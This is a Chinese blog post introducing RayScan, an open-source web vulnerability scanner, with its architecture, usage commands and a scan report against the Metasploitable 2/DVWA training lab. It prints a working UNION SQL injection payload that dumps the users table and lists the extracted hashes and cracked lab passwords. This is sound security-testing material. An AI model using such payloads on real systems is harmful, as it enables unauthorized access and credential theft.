我开源了一个 Web 扫描器,在 Metasploitable 2 上发现了 83 个漏洞

项目 : RayScan --- 开箱即用的 Web 漏洞扫描器 实战报告 : 单目标 83 个漏洞,SQL 注入提取全部用户密码 技术栈: Python asyncio · 11 检测模块 · CLI + Web UI


为什么写这个工具

市面上的开源扫描器要么太重(配套数据库、消息队列),要么太老(多年不维护),要么只扫单一漏洞。

我想要的是一个 开箱即用、覆盖全面、还能看到实时扫描过程 的扫描器:

  • pip install 就能跑,不用配数据库
  • 命令行一行搞定,也有 Web 界面
  • 覆盖 OWASP Top 10 常见漏洞
  • 能看到扫描器在做什么,而不是黑盒等结果

于是有了 RayScan。

架构

bash 复制代码
wvs/                     ← 核心检测引擎
├── core/                ← 爬虫 + 扫描调度 + 去重
├── modules/             ← 11 个检测模块
│   ├── sqli/            ← SQL 注入(报错/布尔/时间/联合)
│   ├── xss/             ← 反射型/存储型/DOM 型
│   ├── lfi/             ← 文件包含 + 路径遍历
│   ├── cmdi/            ← 命令注入
│   ├── ssrf/xxe/rce/    ← 其他高危漏洞
│   └── api/sensitive/   ← API 安全 + 敏感信息
└── reporting/           ← HTML/JSON/Markdown 报告

web_ui/                  ← Web 可视化界面
├── app.py               ← Flask + SSE 实时日志
└── templates/

实战:扫 Metasploitable 2

我用 DVWA(Metasploitable 2)做完整验证:

ini 复制代码
RayScan 1.0.2 扫描目标: http://192.168.18.131
模块: sqli, cmdi, xss, lfi, rce, api, sensitive, xxe, ssrf
速率: 15 req/s

[*] Crawling...     49 pages, 96 endpoints, 9 forms
[+] DVWA login OK (admin:password)

[*] Phase 2/4: Running detectors...
  [sqli]      Found SQL injection in id parameter
  [sensitive] Found /phpinfo.php, /test/ exposed
  [lfi]       Found /etc/passwd via page= parameter
  [api]       Apache/2.2.8 version disclosure (80x)

✅ 83 vulnerabilities found

SQL 注入提取密码

最直接的成果:通过联合查询注入拿到 users 表全部数据:

sql 复制代码
-1' UNION SELECT 1,GROUP_CONCAT(user,0x3a,password) FROM users--

admin:5f4dcc3b5aa765d61d8327deb882cf99  →  password
gordonb:e99a18c428cb38d5f260853678922e03 →  abc123
1337:8d3533d75ae2c3966d7e0d4fcc69216b    →  charley
pablo:0d107d09f5bbe40cade3de5c71e9e9b7   →  letmein
smithy:5f4dcc3b5aa765d61d8327deb882cf99  →  password

5 个用户密码全部提取,MD5 可逆向。

两个使用方式

命令行(适合日常扫描)

bash 复制代码
git clone https://github.com/xiabai2004/RayScan
cd RayScan
pip install -e .

# 快速扫描
python -m wvs scan http://目标.com

# 仅扫特定模块
python -m wvs scan http://目标.com --modules sqli xss lfi

# 输出 JSON 报告
python -m wvs scan http://目标.com -o result.json -f json

Web UI(适合可视化操作)

bash 复制代码
pip install flask
cd web_ui && python app.py
# 浏览器打开 http://localhost:5000

Web UI 支持:

  • 深色/浅色主题一键切换
  • 实时日志流 --- 和 CLI 完全一致的输出
  • 发现漏洞即时显示在结果表
  • 响应式布局,手机也能看

实测表现

指标 数值
测试用例 316 个,全部通过
靶场验证 Metasploitable 2 / DVWA
发现漏洞 83 个(含 SQLi 注入提取数据)
单目标耗时 约 60 秒
支持协议 HTTP / HTTPS
报告格式 HTML / JSON / Markdown

下一步计划

  • Nuclei 模板集成
  • 爬虫性能优化(目前 50 URL/目标)
  • 更多靶场兼容性测试
  • CI/CD 流水线(已配置 GitHub Actions)

项目地址 : github.com/xiabai2004/...

如果觉得有用,欢迎 Star ⭐ 支持!有任何问题可以提 Issue 或直接讨论。

相关推荐
dhjabc_14 小时前
从0到1打造一个GitHub优质资源管理器(一个完整的PyQt6桌面项目实战日记)
github
runafterhit8 小时前
开源知识库GitHub使用经验总结
开源·github
Yunzenn10 小时前
深度解析字节前沿研究-Cola DLM第 04 章:Cola DLM 架构全景 —— 三层解耦的设计哲学
java·linux·python·深度学习·面试·github·transformer
阿里嘎多学长10 小时前
2026-05-21 GitHub 热点项目精选
开发语言·程序员·github·代码托管
杖雍皓1 天前
编程范式的下一次跃迁:深度解析全新的 GitHub Copilot 独立桌面应用
github·copilot
JiaWen技术圈1 天前
GitOps 最佳实践:ArgoCD + GitHub Actions 完整落地
github·argocd
王二麻子6661 天前
Ctrl+V 粘贴截图,Claude Code + DeepSeek 直接烂对话?这个开源项目把坑填了
github
用户938515635071 天前
手把手教你用 Git 管理代码:从单机到分布式,再也不怕硬盘坏了
github